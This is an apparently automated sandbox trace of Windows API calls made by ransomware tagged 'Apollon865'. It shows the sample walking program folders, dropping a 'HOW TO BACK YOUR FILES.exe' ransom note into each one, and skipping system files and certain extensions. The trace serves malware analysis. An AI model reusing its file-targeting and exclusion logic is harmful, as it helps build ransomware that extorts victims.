	[0062.334] lstrlenW (lpString="Apollon865") returned 10
	[0062.335] lstrcmpiW (lpString1="PVWCTL.DLL", lpString2="Apollon865") returned 1
	[0062.335] lstrlenW (lpString=".dll") returned 4
	[0062.335] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2=".dll") returned 1
	[0062.335] lstrlenW (lpString=".lnk") returned 4
	[0062.335] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2=".lnk") returned 1
	[0062.335] lstrlenW (lpString=".ini") returned 4
	[0062.335] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2=".ini") returned 1
	[0062.335] lstrlenW (lpString=".sys") returned 4
	[0062.335] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2=".sys") returned 1
	[0062.335] lstrlenW (lpString="MSPVWCTL.DLL") returned 12
	[0062.335] lstrcpyW (in: lpString1=0x2d3e592, lpString2="NBDoc.DLL" | out: lpString1="NBDoc.DLL") returned="NBDoc.DLL"
	[0062.335] lstrlenW (lpString="NBDoc.DLL") returned 9
	[0062.335] lstrlenW (lpString="Apollon865") returned 10
	[0062.335] lstrlenW (lpString=".dll") returned 4
	[0062.335] lstrcmpiW (lpString1="NBDoc.DLL", lpString2=".dll") returned 1
	[0062.335] lstrlenW (lpString=".lnk") returned 4
	[0062.335] lstrcmpiW (lpString1="NBDoc.DLL", lpString2=".lnk") returned 1
	[0062.335] lstrlenW (lpString=".ini") returned 4
	[0062.335] lstrcmpiW (lpString1="NBDoc.DLL", lpString2=".ini") returned 1
	[0062.335] lstrlenW (lpString=".sys") returned 4
	[0062.335] lstrcmpiW (lpString1="NBDoc.DLL", lpString2=".sys") returned 1
	[0062.335] lstrlenW (lpString="NBDoc.DLL") returned 9
	[0062.335] lstrcpyW (in: lpString1=0x2d3e592, lpString2="NBMapTIP.dll" | out: lpString1="NBMapTIP.dll") returned="NBMapTIP.dll"
	[0062.335] lstrlenW (lpString="NBMapTIP.dll") returned 12
	[0062.335] lstrlenW (lpString="Apollon865") returned 10
	[0062.335] lstrcmpiW (lpString1="MapTIP.dll", lpString2="Apollon865") returned 1
	[0062.335] lstrlenW (lpString=".dll") returned 4
	[0062.335] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2=".dll") returned 1
	[0062.335] lstrlenW (lpString=".lnk") returned 4
	[0062.335] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2=".lnk") returned 1
	[0062.336] lstrlenW (lpString=".ini") returned 4
	[0062.336] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2=".ini") returned 1
	[0062.336] lstrlenW (lpString=".sys") returned 4
	[0062.336] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2=".sys") returned 1
	[0062.336] lstrlenW (lpString="NBMapTIP.dll") returned 12
	[0062.336] lstrcpyW (in: lpString1=0x2d3e592, lpString2="PDIALOG.exe" | out: lpString1="PDIALOG.exe") returned="PDIALOG.exe"
	[0062.336] lstrlenW (lpString="PDIALOG.exe") returned 11
	[0062.336] lstrlenW (lpString="Apollon865") returned 10
	[0062.336] lstrcmpiW (lpString1="DIALOG.exe", lpString2="Apollon865") returned 1
	[0062.336] lstrlenW (lpString=".dll") returned 4
	[0062.336] lstrcmpiW (lpString1="PDIALOG.exe", lpString2=".dll") returned 1
	[0062.336] lstrlenW (lpString=".lnk") returned 4
	[0062.336] lstrcmpiW (lpString1="PDIALOG.exe", lpString2=".lnk") returned 1
	[0062.336] lstrlenW (lpString=".ini") returned 4
	[0062.336] lstrcmpiW (lpString1="PDIALOG.exe", lpString2=".ini") returned 1
	[0062.336] lstrlenW (lpString=".sys") returned 4
	[0062.336] lstrcmpiW (lpString1="PDIALOG.exe", lpString2=".sys") returned 1
	[0062.336] lstrlenW (lpString="PDIALOG.exe") returned 11
	[0062.336] lstrcpyW (in: lpString1=0x2d3e592, lpString2="Templates" | out: lpString1="Templates") returned="Templates"
	[0062.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0062.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x598468
	[0062.336] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7a70
	[0062.336] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0
	[0062.336] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.336] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b90
	[0062.336] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Journal\\Templates", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates"
	[0062.336] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0062.337] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0062.337] lstrlenW (lpString="C:\\Program Files\\Windows Journal\\Templates") returned 42
	[0062.337] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Journal\\Templates" | out: lpString1="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates"
	[0062.337] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.337] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows journal\\templates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.342] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3d3bea70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d3bea70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.342] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.342] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.342] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.342] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3d3bea70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d3bea70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.342] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.342] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.342] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.342] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.342] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1
	[0062.342] lstrcmpiW (lpString1="blank.jtp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.342] lstrcmpiW (lpString1="blank.jtp", lpString2="Apollon865.txt.exe") returned 1
	[0062.342] lstrcmpiW (lpString1="blank.jtp", lpString2=".") returned 1
	[0062.343] lstrcmpiW (lpString1="blank.jtp", lpString2="..") returned 1
	[0062.343] lstrcmpiW (lpString1="blank.jtp", lpString2="windows") returned -1
	[0062.343] lstrcmpiW (lpString1="blank.jtp", lpString2="bootmgr") returned -1
	[0062.343] lstrcmpiW (lpString1="blank.jtp", lpString2="temp") returned -1
	[0062.343] lstrcmpiW (lpString1="blank.jtp", lpString2="pagefile.sys") returned -1
	[0062.343] lstrcmpiW (lpString1="blank.jtp", lpString2="boot") returned -1
	[0062.343] lstrcmpiW (lpString1="blank.jtp", lpString2="ids.txt") returned -1
	[0062.343] lstrcmpiW (lpString1="blank.jtp", lpString2="ntuser.dat") returned -1
	[0062.343] lstrcmpiW (lpString1="blank.jtp", lpString2="perflogs") returned -1
	[0062.343] lstrcmpiW (lpString1="blank.jtp", lpString2="MSBuild") returned -1
	[0062.343] lstrlenW (lpString="blank.jtp") returned 9
	[0062.343] lstrlenW (lpString="C:\\Program Files\\Windows Journal\\Templates\\*") returned 44
	[0062.343] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="blank.jtp" | out: lpString1="blank.jtp") returned="blank.jtp"
	[0062.343] lstrlenW (lpString="blank.jtp") returned 9
	[0062.343] lstrlenW (lpString="Apollon865") returned 10
	[0062.343] lstrlenW (lpString=".dll") returned 4
	[0062.343] lstrcmpiW (lpString1="blank.jtp", lpString2=".dll") returned 1
	[0062.343] lstrlenW (lpString=".lnk") returned 4
	[0062.343] lstrcmpiW (lpString1="blank.jtp", lpString2=".lnk") returned 1
	[0062.343] lstrlenW (lpString=".ini") returned 4
	[0062.343] lstrcmpiW (lpString1="blank.jtp", lpString2=".ini") returned 1
	[0062.343] lstrlenW (lpString=".sys") returned 4
	[0062.343] lstrcmpiW (lpString1="blank.jtp", lpString2=".sys") returned 1
	[0062.343] lstrlenW (lpString="blank.jtp") returned 9
	[0062.343] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Dotted_Line.jtp" | out: lpString1="Dotted_Line.jtp") returned="Dotted_Line.jtp"
	[0062.343] lstrlenW (lpString="Dotted_Line.jtp") returned 15
	[0062.343] lstrlenW (lpString="Apollon865") returned 10
	[0062.343] lstrcmpiW (lpString1="d_Line.jtp", lpString2="Apollon865") returned 1
	[0062.343] lstrlenW (lpString=".dll") returned 4
	[0062.344] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2=".dll") returned 1
	[0062.344] lstrlenW (lpString=".lnk") returned 4
	[0062.344] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2=".lnk") returned 1
	[0062.344] lstrlenW (lpString=".ini") returned 4
	[0062.344] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2=".ini") returned 1
	[0062.344] lstrlenW (lpString=".sys") returned 4
	[0062.344] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2=".sys") returned 1
	[0062.344] lstrlenW (lpString="Dotted_Line.jtp") returned 15
	[0062.344] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Genko_1.jtp" | out: lpString1="Genko_1.jtp") returned="Genko_1.jtp"
	[0062.344] lstrlenW (lpString="Genko_1.jtp") returned 11
	[0062.344] lstrlenW (lpString="Apollon865") returned 10
	[0062.344] lstrcmpiW (lpString1="enko_1.jtp", lpString2="Apollon865") returned 1
	[0062.344] lstrlenW (lpString=".dll") returned 4
	[0062.344] lstrcmpiW (lpString1="Genko_1.jtp", lpString2=".dll") returned 1
	[0062.344] lstrlenW (lpString=".lnk") returned 4
	[0062.344] lstrcmpiW (lpString1="Genko_1.jtp", lpString2=".lnk") returned 1
	[0062.344] lstrlenW (lpString=".ini") returned 4
	[0062.344] lstrcmpiW (lpString1="Genko_1.jtp", lpString2=".ini") returned 1
	[0062.344] lstrlenW (lpString=".sys") returned 4
	[0062.344] lstrcmpiW (lpString1="Genko_1.jtp", lpString2=".sys") returned 1
	[0062.344] lstrlenW (lpString="Genko_1.jtp") returned 11
	[0062.344] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Genko_2.jtp" | out: lpString1="Genko_2.jtp") returned="Genko_2.jtp"
	[0062.344] lstrlenW (lpString="Genko_2.jtp") returned 11
	[0062.344] lstrlenW (lpString="Apollon865") returned 10
	[0062.344] lstrcmpiW (lpString1="enko_2.jtp", lpString2="Apollon865") returned 1
	[0062.344] lstrlenW (lpString=".dll") returned 4
	[0062.344] lstrcmpiW (lpString1="Genko_2.jtp", lpString2=".dll") returned 1
	[0062.344] lstrlenW (lpString=".lnk") returned 4
	[0062.344] lstrcmpiW (lpString1="Genko_2.jtp", lpString2=".lnk") returned 1
	[0062.345] lstrlenW (lpString=".ini") returned 4
	[0062.345] lstrcmpiW (lpString1="Genko_2.jtp", lpString2=".ini") returned 1
	[0062.345] lstrlenW (lpString=".sys") returned 4
	[0062.345] lstrcmpiW (lpString1="Genko_2.jtp", lpString2=".sys") returned 1
	[0062.345] lstrlenW (lpString="Genko_2.jtp") returned 11
	[0062.345] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Graph.jtp" | out: lpString1="Graph.jtp") returned="Graph.jtp"
	[0062.345] lstrlenW (lpString="Graph.jtp") returned 9
	[0062.345] lstrlenW (lpString="Apollon865") returned 10
	[0062.345] lstrlenW (lpString=".dll") returned 4
	[0062.345] lstrcmpiW (lpString1="Graph.jtp", lpString2=".dll") returned 1
	[0062.345] lstrlenW (lpString=".lnk") returned 4
	[0062.345] lstrcmpiW (lpString1="Graph.jtp", lpString2=".lnk") returned 1
	[0062.345] lstrlenW (lpString=".ini") returned 4
	[0062.345] lstrcmpiW (lpString1="Graph.jtp", lpString2=".ini") returned 1
	[0062.345] lstrlenW (lpString=".sys") returned 4
	[0062.345] lstrcmpiW (lpString1="Graph.jtp", lpString2=".sys") returned 1
	[0062.345] lstrlenW (lpString="Graph.jtp") returned 9
	[0062.345] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Memo.jtp" | out: lpString1="Memo.jtp") returned="Memo.jtp"
	[0062.345] lstrlenW (lpString="Memo.jtp") returned 8
	[0062.345] lstrlenW (lpString="Apollon865") returned 10
	[0062.345] lstrlenW (lpString=".dll") returned 4
	[0062.345] lstrcmpiW (lpString1="Memo.jtp", lpString2=".dll") returned 1
	[0062.345] lstrlenW (lpString=".lnk") returned 4
	[0062.345] lstrcmpiW (lpString1="Memo.jtp", lpString2=".lnk") returned 1
	[0062.345] lstrlenW (lpString=".ini") returned 4
	[0062.345] lstrcmpiW (lpString1="Memo.jtp", lpString2=".ini") returned 1
	[0062.345] lstrlenW (lpString=".sys") returned 4
	[0062.345] lstrcmpiW (lpString1="Memo.jtp", lpString2=".sys") returned 1
	[0062.345] lstrlenW (lpString="Memo.jtp") returned 8
	[0062.346] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Month_Calendar.jtp" | out: lpString1="Month_Calendar.jtp") returned="Month_Calendar.jtp"
	[0062.346] lstrlenW (lpString="Month_Calendar.jtp") returned 18
	[0062.346] lstrlenW (lpString="Apollon865") returned 10
	[0062.346] lstrcmpiW (lpString1="lendar.jtp", lpString2="Apollon865") returned 1
	[0062.346] lstrlenW (lpString=".dll") returned 4
	[0062.346] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2=".dll") returned 1
	[0062.346] lstrlenW (lpString=".lnk") returned 4
	[0062.346] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2=".lnk") returned 1
	[0062.346] lstrlenW (lpString=".ini") returned 4
	[0062.346] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2=".ini") returned 1
	[0062.346] lstrlenW (lpString=".sys") returned 4
	[0062.346] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2=".sys") returned 1
	[0062.346] lstrlenW (lpString="Month_Calendar.jtp") returned 18
	[0062.346] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Music.jtp" | out: lpString1="Music.jtp") returned="Music.jtp"
	[0062.346] lstrlenW (lpString="Music.jtp") returned 9
	[0062.346] lstrlenW (lpString="Apollon865") returned 10
	[0062.346] lstrlenW (lpString=".dll") returned 4
	[0062.346] lstrcmpiW (lpString1="Music.jtp", lpString2=".dll") returned 1
	[0062.346] lstrlenW (lpString=".lnk") returned 4
	[0062.346] lstrcmpiW (lpString1="Music.jtp", lpString2=".lnk") returned 1
	[0062.346] lstrlenW (lpString=".ini") returned 4
	[0062.346] lstrcmpiW (lpString1="Music.jtp", lpString2=".ini") returned 1
	[0062.346] lstrlenW (lpString=".sys") returned 4
	[0062.346] lstrcmpiW (lpString1="Music.jtp", lpString2=".sys") returned 1
	[0062.346] lstrlenW (lpString="Music.jtp") returned 9
	[0062.346] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Seyes.jtp" | out: lpString1="Seyes.jtp") returned="Seyes.jtp"
	[0062.346] lstrlenW (lpString="Seyes.jtp") returned 9
	[0062.346] lstrlenW (lpString="Apollon865") returned 10
	[0062.346] lstrlenW (lpString=".dll") returned 4
	[0062.347] lstrcmpiW (lpString1="Seyes.jtp", lpString2=".dll") returned 1
	[0062.347] lstrlenW (lpString=".lnk") returned 4
	[0062.347] lstrcmpiW (lpString1="Seyes.jtp", lpString2=".lnk") returned 1
	[0062.347] lstrlenW (lpString=".ini") returned 4
	[0062.347] lstrcmpiW (lpString1="Seyes.jtp", lpString2=".ini") returned 1
	[0062.347] lstrlenW (lpString=".sys") returned 4
	[0062.347] lstrcmpiW (lpString1="Seyes.jtp", lpString2=".sys") returned 1
	[0062.347] lstrlenW (lpString="Seyes.jtp") returned 9
	[0062.347] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Shorthand.jtp" | out: lpString1="Shorthand.jtp") returned="Shorthand.jtp"
	[0062.347] lstrlenW (lpString="Shorthand.jtp") returned 13
	[0062.347] lstrlenW (lpString="Apollon865") returned 10
	[0062.347] lstrcmpiW (lpString1="rthand.jtp", lpString2="Apollon865") returned 1
	[0062.347] lstrlenW (lpString=".dll") returned 4
	[0062.347] lstrcmpiW (lpString1="Shorthand.jtp", lpString2=".dll") returned 1
	[0062.347] lstrlenW (lpString=".lnk") returned 4
	[0062.347] lstrcmpiW (lpString1="Shorthand.jtp", lpString2=".lnk") returned 1
	[0062.347] lstrlenW (lpString=".ini") returned 4
	[0062.347] lstrcmpiW (lpString1="Shorthand.jtp", lpString2=".ini") returned 1
	[0062.347] lstrlenW (lpString=".sys") returned 4
	[0062.347] lstrcmpiW (lpString1="Shorthand.jtp", lpString2=".sys") returned 1
	[0062.347] lstrlenW (lpString="Shorthand.jtp") returned 13
	[0062.347] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="To_Do_List.jtp" | out: lpString1="To_Do_List.jtp") returned="To_Do_List.jtp"
	[0062.347] lstrlenW (lpString="To_Do_List.jtp") returned 14
	[0062.347] lstrlenW (lpString="Apollon865") returned 10
	[0062.347] lstrcmpiW (lpString1="o_List.jtp", lpString2="Apollon865") returned 1
	[0062.347] lstrlenW (lpString=".dll") returned 4
	[0062.347] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2=".dll") returned 1
	[0062.347] lstrlenW (lpString=".lnk") returned 4
	[0062.347] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2=".lnk") returned 1
	[0062.348] lstrlenW (lpString=".ini") returned 4
	[0062.348] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2=".ini") returned 1
	[0062.348] lstrlenW (lpString=".sys") returned 4
	[0062.348] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2=".sys") returned 1
	[0062.348] lstrlenW (lpString="To_Do_List.jtp") returned 14
	[0062.348] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Journal\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Journal\\en-US") returned="C:\\Program Files\\Windows Journal\\en-US"
	[0062.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bca68 | out: hHeap=0x580000) returned 1
	[0062.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0062.348] lstrlenW (lpString="C:\\Program Files\\Windows Journal\\en-US") returned 38
	[0062.348] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Journal\\en-US" | out: lpString1="C:\\Program Files\\Windows Journal\\en-US") returned="C:\\Program Files\\Windows Journal\\en-US"
	[0062.348] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.348] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows journal\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.353] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3d3bea70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d3bea70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.353] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.353] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.353] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.353] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3d3bea70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d3bea70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.353] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.353] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.353] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.353] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.353] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d3bea70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d3bea70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.354] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.354] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1
	[0062.354] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.354] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0062.354] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2=".") returned 1
	[0062.354] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="..") returned 1
	[0062.354] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="windows") returned -1
	[0062.354] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="bootmgr") returned 1
	[0062.354] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="temp") returned -1
	[0062.354] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="pagefile.sys") returned -1
	[0062.354] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="boot") returned 1
	[0062.354] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="ids.txt") returned 1
	[0062.354] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="ntuser.dat") returned -1
	[0062.354] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="perflogs") returned -1
	[0062.354] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="MSBuild") returned -1
	[0062.354] lstrlenW (lpString="JNTFiltr.dll.mui") returned 16
	[0062.354] lstrlenW (lpString="C:\\Program Files\\Windows Journal\\en-US\\*") returned 40
	[0062.354] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="JNTFiltr.dll.mui" | out: lpString1="JNTFiltr.dll.mui") returned="JNTFiltr.dll.mui"
	[0062.354] lstrlenW (lpString="JNTFiltr.dll.mui") returned 16
	[0062.354] lstrlenW (lpString="Apollon865") returned 10
	[0062.354] lstrcmpiW (lpString1="tr.dll.mui", lpString2="Apollon865") returned 1
	[0062.354] lstrlenW (lpString=".dll") returned 4
	[0062.354] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2=".dll") returned 1
	[0062.354] lstrlenW (lpString=".lnk") returned 4
	[0062.354] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2=".lnk") returned 1
	[0062.355] lstrlenW (lpString=".ini") returned 4
	[0062.355] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2=".ini") returned 1
	[0062.355] lstrlenW (lpString=".sys") returned 4
	[0062.355] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2=".sys") returned 1
	[0062.355] lstrlenW (lpString="JNTFiltr.dll.mui") returned 16
	[0062.355] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="jnwdui.dll.mui" | out: lpString1="jnwdui.dll.mui") returned="jnwdui.dll.mui"
	[0062.355] lstrlenW (lpString="jnwdui.dll.mui") returned 14
	[0062.355] lstrlenW (lpString="Apollon865") returned 10
	[0062.355] lstrcmpiW (lpString1="ui.dll.mui", lpString2="Apollon865") returned 1
	[0062.355] lstrlenW (lpString=".dll") returned 4
	[0062.355] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2=".dll") returned 1
	[0062.355] lstrlenW (lpString=".lnk") returned 4
	[0062.355] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2=".lnk") returned 1
	[0062.355] lstrlenW (lpString=".ini") returned 4
	[0062.355] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2=".ini") returned 1
	[0062.355] lstrlenW (lpString=".sys") returned 4
	[0062.355] lstrcmpiW (lpString1="jnwdui.dll.mui", lpString2=".sys") returned 1
	[0062.355] lstrlenW (lpString="jnwdui.dll.mui") returned 14
	[0062.355] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="jnwmon.dll.mui" | out: lpString1="jnwmon.dll.mui") returned="jnwmon.dll.mui"
	[0062.355] lstrlenW (lpString="jnwmon.dll.mui") returned 14
	[0062.355] lstrlenW (lpString="Apollon865") returned 10
